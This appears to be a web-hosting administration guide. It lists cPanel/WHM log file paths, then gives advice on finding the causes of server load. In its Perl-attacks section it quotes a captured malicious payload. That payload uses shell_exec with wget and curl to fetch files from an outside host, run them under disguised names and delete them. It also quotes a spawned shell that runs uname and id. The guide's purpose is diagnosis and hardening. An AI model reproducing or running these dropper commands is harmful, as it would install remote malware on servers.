CPanel logs Locations

CPanel logs for access, Apache, email, error, ftp, mysql, WHM

This guide will cover the locations of the log files for things such as access logs,

Apache web server logs, email logs, error logs, ftp logs, MySQL logs, and WHM logs.

If you'd like to have a poster of the 2013 cPanel logs location reference,

you can request them from cPanel directly.

You can also view a digitial copy of this poster directly online at go.cPanel.net/logposter.

cPanel logs:

Access logs and user actions	/usr/local/cpanel/logs/access_log
Account transfers and misc. logs	/var/cpanel/logs
Auditing log (account creations, deletions, etc)	/var/cpanel/accounting.log
Backup logs	/usr/local/cpanel/logs/cpbackup
Brute force protection (cphulkd) log	/usr/local/cpanel/logs/cphulkd.log
Cpanel dnsadmin dns clustering daemon	/usr/local/cpanel/logs/dnsadmin_log
Cpanel taskqueue processing daemon	/usr/local/cpanel/logs/queueprocd.log
DBmapping	/usr/local/cpanel/logs/setupdbmap_log
EasyApache build logs	/usr/local/cpanel/logs/easy/apache/
Error log	/usr/local/cpanel/logs/error_log
Installation log	/var/log/cpanel
License updates and errors	/usr/local/cpanel/logs/license_log
Locale database modifications	/usr/local/cpanel/logs/build_locale_database_log
Login errors (CPSRVD)	/usr/local/cpanel/logs/login_log
Horde	/var/cpanel/horde/log/
RoundCube	/var/cpanel/roundcube/log/
SquirrelMail	/var/cpanel/squirrelmail/
Panic log	/usr/local/cpanel/logs/panic_log
Per account bandwidth history (Cached)	/var/cpanel/bandwidth.cache/{USERNAME}
Per account bandwidth history (Human Readable)	/var/cpanel/bandwidth/{USERNAME}
Service status logs	/var/log/chkservd.log
Tailwatch driver tailwatchd log	/usr/local/cpanel/logs/tailwatch_log
Update analysis reporting	/usr/local/cpanel/logs/updated_analysis/{TIMESTAMP}.log
Update (UPCP) log	/var/cpanel/updatelogs/updated.{TIMESTAMP}.log
WebDisk (CPDAVD)	/usr/local/cpanel/logs/cpdavd_error_log
Website statistics log	/usr/local/cpanel/logs/stats_log

cPanel access log

Access logs and user actions	/usr/local/cpanel/logs/access_log

cPanel apache log

Apache restarts done through cPanel and WHM	/usr/local/cpanel/logs/safeapcherestart_log
Domain access logs	/usr/local/apache/domlogs/{DOMAIN}
Processing of log splitting	/usr/local/cpanel/logs/splitlogs_log
suPHP audit log	/usr/local/apache/logs/suphp_log
Web server and CGI application error log	/usr/local/apache/logs/error_log

cPanel email log

Delivery and receipt log	/var/log/exim_mainlog
Incoming mail queue	/var/spool/exim/input/
Log of messages rejected based on ACLS or other policies	/var/log/exim_rejectlog
Unexpected/Fatal error log	/var/log/exim_paniclog
IMAP, POP login attempts, transactions, fatal errors and spam scoring	/var/log/maillog /var/log/messages
Mailman	/usr/local/cpanel/3rdparty/mailmain/logs

MySQL log

MySQL error log	/var/lib/mysql/{SERVER_NAME}.err
MySQL slow query log (if enabled in my.cnf)	/var/log/slowqueries

Load Tackling in Cpanel Servers

As we all know, server stability is directly dependent on serverload. Based on my experience as an Linux Server Administrator in Cpanel servers, I am writing this article to share some of my ideas regarding load tackling.

Load, in computing, is a "measure of the amount of processing a computer system is currently performing, usually in the form of a scalar and as some variation on a percentage,"according to Wikipedia.

This article mainly concentrates in finding the causes for load.

Load Checking Commands

Here are some well-used load checking commands:

w

Shows who is logged on and what they are doing, e.g.:

07:28:29  up 41 days, 20:41,  2 users,  load average: 0.03, 0.09, 0.08

Server Time - 07:28:29  
Server Uptime -  up 41 days, 20:41hrs No: of users logged : 2 users

Load Average: 0.03,0.09, 0.08

1minute Load  : 0.03 Last 5 Min Load Avg:  0.09 Last 15 Min Load Avg: 0.08 

uptime

Same as w command, but uptime won't list the details of users

pstree

Displays a tree of processes.

pstree -apu

is more useful in checking the process list. You can get more details from the man pages.

top

To see currently running processes.

mysqladmin proc stat

Shows the current mysql process details.

Causes of Load

Some causes for load include:

• High use of some processes
• Perl script attacks
• Spamming
• Php scripts causing the load
• MySQL Abuse
• DOS attack

Most of abuse issues in the server can be found in the previous " Load Checking Commands" section.

High Use of Some Processes

You can find it using the command 'top -c' and 'pstree -apu'. Install CSF and configure it to get alerts on "Excessive resource usage."

Set your email address in this file: /etc/csf/resalert.txt

Perl Script Attacks

These attacks are usually caused by poor coding or vulnerabilities in software versions.

If those Perl scripts are running you can see something similar to below after running 'pstree -apu':

===========
├─perl,30478,user
   └─sh,30479 -c echo\\040\"`uname\\040-a`\";echo\\040\"`id`\";/bin/sh
   │       └─sh,30485 
=========== 

How to find the source of the Perl:

root@techyfix [~]# ls -alh /proc/30478 |grep cwd

==========

lrwxrwxrwx 1 user user 0 Sep 28 06:16 
cwd -> /home/user/public_html/media/

===========

You can see the Perl script running from " /home/user/public_html/media/" folder.

A sample Perl script might look like this example:

===========
   wget http://webstorch.com/a;chmod +x a;mv a sess_vttn737j6k0mci66akhs5u1261398401;./sess_vttn737j6k0mci66akhs5u1261398401; rm a*\');
 shell_exec(\'cd /tmp;curl -O http://webstorch.com/botek.txt;mv botek.txt .sessx;perl .sessxt;rm botek.txt.*;curl -O http://webstorch.com/a;chmod +x a;
 mv a sess_vttn737j6k0mci66akhs5u1261398401;./sess_vttn737j6k0mci66akhs5u1261398401;rm a*\'); 
 ============= 

Also, you can use the command " lsof -p 30478 |less " to get more information.

Preventive measures for blocking such Perl attacks include:

• Disable allow_url_fopen and allow_url_include in your php.ini (/usr/local/lib/php.ini) file
• Disable following functions in PHP:
  disable_functions = exec, shellexec, passthru, system, escapeshellcmd, escapeshellarg
• Install mod_security (this also helps in reducing Iframe attacks )